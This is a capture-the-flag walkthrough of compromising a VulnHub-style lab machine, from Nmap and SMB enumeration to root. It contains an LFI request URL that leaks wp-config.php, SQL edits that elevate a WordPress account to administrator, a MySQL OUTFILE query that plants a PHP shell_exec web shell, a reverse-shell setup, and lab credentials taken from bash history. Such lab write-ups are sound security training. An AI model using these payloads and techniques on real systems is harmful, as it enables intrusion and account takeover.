Service Discovery

Running a port scan of the top 1000 ports using Nmap (nmap -sS -sV -sC -vv revealed that the machine has a number of different public facing services; one of which Nmap was unable to fingerprint:

20/tcp   closed ftp-data    reset ttl 64
21/tcp   open   ftp         syn-ack ttl 64 vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: Can't parse PASV response: "Permission denied."
22/tcp   open   ssh         syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc/xrBbi5hixT2B19dQilbbrCaRllRyNhtJcOzE8x0BM1ow9I80RcU7DtajyqiXXEwHRavQdO+/cHZMyOiMFZG59OCuIouLRNoVO58C91gzDgDZ1fKH6BDg+FaSz+iYZbHg2lzaMPbRje6oqNamPR4QGISNUpxZeAsQTLIiPcRlb5agwurovTd3p0SXe0GknFhZwHHvAZWa2J6lHE2b9K5IsSsDzX2WHQ4vPb+1DzDHV0RTRVUGviFvUX1X5tVFvVZy0TTFc0minD75CYClxLrgc+wFLPcAmE2C030ER/Z+9umbhuhCnLkLN87hlzDSRDPwUjWr+sNA3+7vc/xuZul
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNQB5n5kAZPIyHb9lVx1aU0fyOXMPUblpmB8DRjnP8tVIafLIWh54wmTFVd3nCMr1n5IRWiFeX1weTBDSjjz0IY=
|   256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ9wvrF4tkFMApswOmWKpTymFjkaiIoie4QD0RWOYnny
53/tcp   open   domain      syn-ack ttl 64 dnsmasq 2.75
| dns-nsid: 
|_  bind.version: dnsmasq-2.75
80/tcp   open   http        syn-ack ttl 64 PHP cli server 5.5 or later
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: 404 Not Found
139/tcp  open   netbios-ssn syn-ack ttl 64 Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp  open   doom?       syn-ack ttl 64
| fingerprint-strings: 
|   NULL: 
|     message2.jpgUT 
|     QWux
|     "DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp open   mysql       syn-ack ttl 64 MySQL 5.7.12-0ubuntu1
| mysql-info: 
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 7
|   Capabilities flags: 63487
|   Some Capabilities: Support41Auth, ConnectWithDatabase, SupportsCompression, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, IgnoreSigpipes, ODBCClient, LongPassword, InteractiveClient, FoundRows, LongColumnFlag, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, SupportsTransactions, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: a;C\x18YuU)RZC0\x0E\x0C\x08fv(\x0BJ
|_  Auth Plugin Name: 88
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
MAC Address: 08:00:27:EE:6E:0D (Oracle VirtualBox virtual NIC)
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 59m59s, deviation: 0s, median: 59m59s
| nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   RED<00>              Flags: <unique><active>
|   RED<03>              Flags: <unique><active>
|   RED<20>              Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 64254/tcp): CLEAN (Timeout)
|   Check 2 (port 39167/tcp): CLEAN (Timeout)
|   Check 3 (port 50868/udp): CLEAN (Failed to receive data)
|   Check 4 (port 38517/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2017-08-06T15:08:03+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol


As Nmap was able to identify a Samba service that seemingly allowed guest access, I used smbclient to get a list of the available shares and began to enumerate them for information:

root@kali:~# smbclient -L \\RED -I
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu]

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	kathy           Disk      Fred, What are we doing here?
	tmp             Disk      All temporary files should be stored here
	IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu]

	Server               Comment
	---------            -------
	RED                  red server (Samba, Ubuntu)

The first share I took a look into was the kathy share; which contained three files:

  • A todo list
  • A WordPress archive
  • A vsftpd configuration file
root@kali:~/stapler# smbclient //RED/kathy -I
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu]
smb: \> ls
  .                                   D        0  Fri Jun  3 17:52:52 2016
  ..                                  D        0  Mon Jun  6 22:39:56 2016
  kathy_stuff                         D        0  Sun Jun  5 16:02:27 2016
  backup                              D        0  Sun Jun  5 16:04:14 2016

		19478204 blocks of size 1024. 16397128 blocks available
smb: \> cd backup
smb: \backup\> ls
  .                                   D        0  Sun Jun  5 16:04:14 2016
  ..                                  D        0  Fri Jun  3 17:52:52 2016
  vsftpd.conf                         N     5961  Sun Jun  5 16:03:45 2016
  wordpress-4.tar.gz                  N  6321767  Mon Apr 27 18:14:46 2015

		19478204 blocks of size 1024. 16397128 blocks available
smb: \backup\> get vsftpd.conf 
getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (1455.3 KiloBytes/sec) (average 1455.3 KiloBytes/sec)
smb: \backup\> get wordpress-4.tar.gz 
getting file \backup\wordpress-4.tar.gz of size 6321767 as wordpress-4.tar.gz (45730.3 KiloBytes/sec) (average 43517.5 KiloBytes/sec)
smb: \backup\> cd ..
smb: \> cd kathy_stuff\
smb: \kathy_stuff\> ls
  .                                   D        0  Sun Jun  5 16:02:27 2016
  ..                                  D        0  Fri Jun  3 17:52:52 2016
  todo-list.txt                       N       64  Sun Jun  5 16:02:27 2016

		19478204 blocks of size 1024. 16397128 blocks available
smb: \kathy_stuff\> get todo-list.txt 
getting file \kathy_stuff\todo-list.txt of size 64 as todo-list.txt (20.8 KiloBytes/sec) (average 840.5 KiloBytes/sec)
smb: \kathy_stuff\> 

The todo-list.txt file contained the text, I'm making sure to backup anything important for Initech, Kathy; which led me to believe the WordPress archive may be one from a live deployment and contain a valid wp-config.php, but after inflating the archive (tar -xvf wordpress-4.tar.gz) it seemed that it just contained the core files for an installation, rather than being an actual backup.

Likewise, there was nothing of huge interest in the vsftpd.conf file; other than it confirming what Nmap had already found (i.e. that anonymous FTP access was enabled).

Next, I took a look at the tmp share, only to find a file named ls which contained the output of ls being executed on the machine:

root@kali:~/stapler# smbclient //RED/tmp -I
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu]
smb: \> ls
  .                                   D        0  Tue Jun  7 09:08:39 2016
  ..                                  D        0  Mon Jun  6 22:39:56 2016
  ls                                  N      274  Sun Jun  5 16:32:58 2016

		19478204 blocks of size 1024. 16397128 blocks available
smb: \> get ls
getting file \ls of size 274 as ls (89.2 KiloBytes/sec) (average 89.2 KiloBytes/sec)
smb: \> 

root@kali:~/stapler# cat ls
total 12.0K
drwxrwxrwt  2 root root 4.0K Jun  5 16:32 .
drwxr-xr-x 16 root root 4.0K Jun  3 22:06 ..
-rw-r--r--  1 root root    0 Jun  5 16:32 ls
drwx------  3 root root 4.0K Jun  5 15:32 systemd-private-df2bff9b90164a2eadc490c0b8f76087-systemd-timesyncd.service-vFKoxJ

Whilst I was taking a look at Samba, I also had a look for any vulnerabilities that could be leveraged at this stage that affect Samba 4.3.9, but none seemed applicable.

Anonymous FTP

As the vsftpd configuration file and Nmap both indicated anonymous FTP access was enabled, I connected to see if there were any useful files. Only one file was present though, which was a note which potentially revealed a username (elly):

root@kali:~/stapler# ftp
Connected to
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
Name ( anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0             107 Jun 03  2016 note
226 Directory send OK.
ftp> get note
local: note remote: note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 0.00 secs (52.2722 kB/s)

root@kali:~/stapler# cat note 
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

Reverse Domain Lookup

As there is both a web server and a DNS server present, I used dig to do a reverse lookup, to see if there are any hostnames associated with, but only found localhost:

root@kali:~/stapler# dig +noall +answer -x @	0	IN	PTR	localhost.

Port 666

Using nc to connect to port 666 to try and fingerprint the service manually resulted in it outputting some binary data and instantly closing the connection.

A closer look at the data retrieved led me to believe it was possibly a ZIP file, as there seemed to be a plaintext file name in the output:


Piping the output directly to a file (nc 666 > allowed me to unzip it and extract message2.jpg, which was a screenshot of some terminal output:


This suggested that a custom binary may have possibly been being used for the echo command that has a buffer overflow; for now though, as the service seemingly wasn't processing any input being passed to it, this was put on the bench.

PHP CLI Server & Apache

Running dirb against port 80 (i.e. the PHP CLI server) didn't return much. It indicated that it was serving up the contents of a home directory, but began running into errors, even when throttling the request rate:

---- Scanning URL: ----
+ (CODE:200|SIZE:3771)
+ (CODE:200|SIZE:675)

(!) FATAL: Too many errors connecting to host
    (Possible cause: EMPTY REPLY FROM SERVER)

With [seemingly] no low hanging fruit available, I did a full port scan and found another web server running. This time, it was Apache on port 12380:

12380/tcp open   http        syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu))

Running dirb against port 12380 didn't return any results and the landing page, when accessed over HTTP, didn't elude to anything. Accessing over HTTPS, however, led to a page with the text Internal Index Page!

A look at the SSL certificate showed that the common name was red.initech:

SSL certificate

I added red.initech to my hosts file to see if there was a vhost setup for it in Apache, but it led back to the same page as before.

Now that I had access to what was seemingly an internal web server, I began running dirb again, which uncovered a few interesting results:

root@kali:~/stapler# dirb https://red.initech:12380 /usr/share/wordlists/dirb/big.txt 


---- Scanning URL: https://red.initech:12380/ ----
==> DIRECTORY: https://red.initech:12380/announcements/
==> DIRECTORY: https://red.initech:12380/javascript/
==> DIRECTORY: https://red.initech:12380/phpmyadmin/
+ https://red.initech:12380/robots.txt (CODE:200|SIZE:59)
+ https://red.initech:12380/server-status (CODE:403|SIZE:302)

The first thing I checked out from these results was the phpMyAdmin installation. By going to https://red.initech:12380/phpmyadmin/doc/html/index.html I was able to fingerprint the installation as version, which has no usable unauthenticated vulnerabilities that can be used against it.

Next, I checked out the announcements directory to see if there was any interesting information, but the only file was message.txt which contained the content: Abby, we need to link the folder somewhere! Hidden at the mo.

The robots.txt file, however, contained two interesting directories - admin1122233 and blogblog. The admin directory redirected to an external website, but the blogblog directory contained a WordPress installation.

A quick look at the wp-content/plugins directory revealed that the directory listing was enabled and that I had full visibility of all installed plugins; one of which, seemed to contain an LFI vulnerability (

The vulnerability allows unauthenticated users to create new posts, which also attaches a copy of the specified file into the uploads directory with a JPEG extension. As JPEG images won't be interpreted by PHP before being served, it allows for PHP files to be downloaded as plain text.

With this in mind, I used the vulnerability to create a copy of the wp-config.php file by visiting https://red.initech:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=asdasd&short=rnd&term=rnd&thumb=../wp-config.php and was then able to extract the MySQL credentials used by WordPress

/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

/** MySQL hostname */
define('DB_HOST', 'localhost');

As I now had credentials to login to phpMyAdmin with, I created a new WordPress account on and navigated to the wp_users table of the wordpress database and replaced the automatically generated password with an MD5 hash of my chosen password in the user_pass field.

In addition to setting a password, I also needed to set the wp_user_level option in the wp_usermeta table for my account to be 10, i.e. an administrator (see

Lastly, I changed the wp_capabilities option in the wp_usermeta table to a:1:{s:13:"administrator";b:1;}, which finalised elevating my new account into a full administrator, with access to all management options:


With a full administrator account, I attempted to use the plugin and theme editor to store a reverse shell, but there was no write access to the plugins and themes directories.

Whilst looking around the admin area, I saw an error on the updates page which revealed the full path to the WordPress installation, which was: /var/www/https/blogblog/

As it's possible to save the output of a query in MySQL to a file, I used this path disclosure in combination with the phpMyAdmin login in an attempt to create a file containing <?php phpinfo(); ?>, for testing purposes, by running the query: select '<?php phpinfo(); ?>' into OUTFILE '/var/www/https/blogblog/test.php' but the top level directory of the blog was seemingly unwritable.

As I know for sure that the wp-content/uploads directory was writable, I modified the query to instead write there, and successfully got PHP execution:


With PHP execution now possible, I re-used the same query to create a command executor (<?php echo shell_exec($_GET["e"]); ?>), which would allow system commands to be executed, but didn't provide an interactive shell.

Low Privilege Shell

Now that I had a way to execute system commands via the command executor, I started a listener using SuperTTY (

root@kali:~/stapler# supertty --port 5555
 (                                        )                  
 )\ )                     *   )  *   ) ( /(          )    )  
(()/(  (          (  (  ` )  /(` )  /( )\())   )  ( /( ( /(  
 /(_))))\ `  )   ))\ )(  ( )(_))( )(_)|(_)\   /(( )\()))\()) 
(_)) /((_)/(/(  /((_|()\(_(_())(_(_())_ ((_) (_))((_)\((_)\  
/ __(_))(((_)_\(_))  ((_)_   _||_   _\ \ / / _)((_) (_)  (_) 
\__ \ || | '_ \) -_)| '_| | |    | |  \ V /  \ V /| || () |  
|___/\_,_| .__/\___||_|   |_|    |_|   |_|    \_/ |_(_)__/   
         (c) Bad Hombres 2017

[+] Starting a reverse listener on port: 5555
[+] Got terminal: xterm-256color 
[+] Got terminal size (68 rows, 180 columns)
[+] Setting up local terminal.....

Then used the command executor to run some inline Python to connect back to the listener:

Now, I had a fully interactive shell and could start some recon!

Recon & Privilege Escalation

Running ps aux showed that the JKanode user was running a HTTP server on port 8888, but it was of no use, as it was just serving up the home directory which I already had access to. root was also running a continuous script from the /root directory, but due to lack of permissions, I couldn't see what it was:

JKanode   1450  0.0  0.4  14696  4536 ?        S    15:02   0:02 python2 -m SimpleHTTPServer 8888
root      1410  0.0  0.2   5720  2196 ?        S    15:02   0:00 /bin/bash /root/

In case this script was listening for anything locally, I ran netstat -a to try and identify any previously unidentified services. Doing so, suggested a tftp service was running over UDP:

udp        0      0 *:tftp                  *:*    

A look at the iptables configuration also shows that all external UDP traffic is being accepted:

www-data@red:/home$ cat /etc/iptables/rules.v4 
# Generated by iptables-save v1.6.0 on Fri Jun  3 22:08:54 2016
-A INPUT -p tcp -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p udp -j ACCEPT
-A INPUT -p icmp -j DROP
-A INPUT -p tcp -m tcp --dport 20 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 21 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 53 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 123 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 137 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 138 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 139 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 666 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 3306 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 12380 -j ACCEPT

In the hope this may be misconfigured and allowing access into the /root directory or possibly allow for some service re-configuration, I used tftp to transfer a file across, and then used find to search the file system for the matching file name, but it led back to the /srv/tftp directory and was writing files as nobody:nogroup.

The home directory contained quite a lot of user directories, doing a listing of all of them using ls -la * revealed that peter had previously ran something using sudo; making this account one which would be useful to get access to:

total 72
drwxr-xr-x  3 peter peter  4096 Jun  3  2016 .
drwxr-xr-x 32 root  root   4096 Jun  4  2016 ..
-rw-------  1 peter peter     1 Jun  5  2016 .bash_history
-rw-r--r--  1 peter peter   220 Jun  3  2016 .bash_logout
-rw-r--r--  1 peter peter  3771 Jun  3  2016 .bashrc
drwx------  2 peter peter  4096 Jun  6  2016 .cache
-rw-r--r--  1 peter peter   675 Jun  3  2016 .profile
-rw-r--r--  1 peter peter     0 Jun  3  2016 .sudo_as_admin_successful
-rw-------  1 peter peter   577 Jun  3  2016 .viminfo
-rw-rw-r--  1 peter peter 39206 Jun  3  2016 .zcompdump

Listing the bash history for all users revealed a couple of interesting lines:

sshpass -p thisimypassword ssh JKanode@localhost
apt-get install sshpass
sshpass -p JZQuyIN5 peter@localhost

As I had just identified that peter has some sudo privileges, I tried to SSH into the machine using the credentials from the bash history, which let me in and presented me with a zsh setup screen. I simply exited this setup, and ran /bin/bash and checked the sudo privileges:

peter@red:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter: 
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on red:
    (ALL : ALL) ALL

As peter had full sudo privileges, I ran bash with sudo to get root access, and then proceeded to retrieve the flag:

peter@red:~$ sudo /bin/bash
root@red:~# cd /root
root@red:/root# ls  flag.txt  issue  wordpress.sql
root@red:/root# cat flag.txt
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  


The total time taken to root this machine was 4 hours, 15 minutes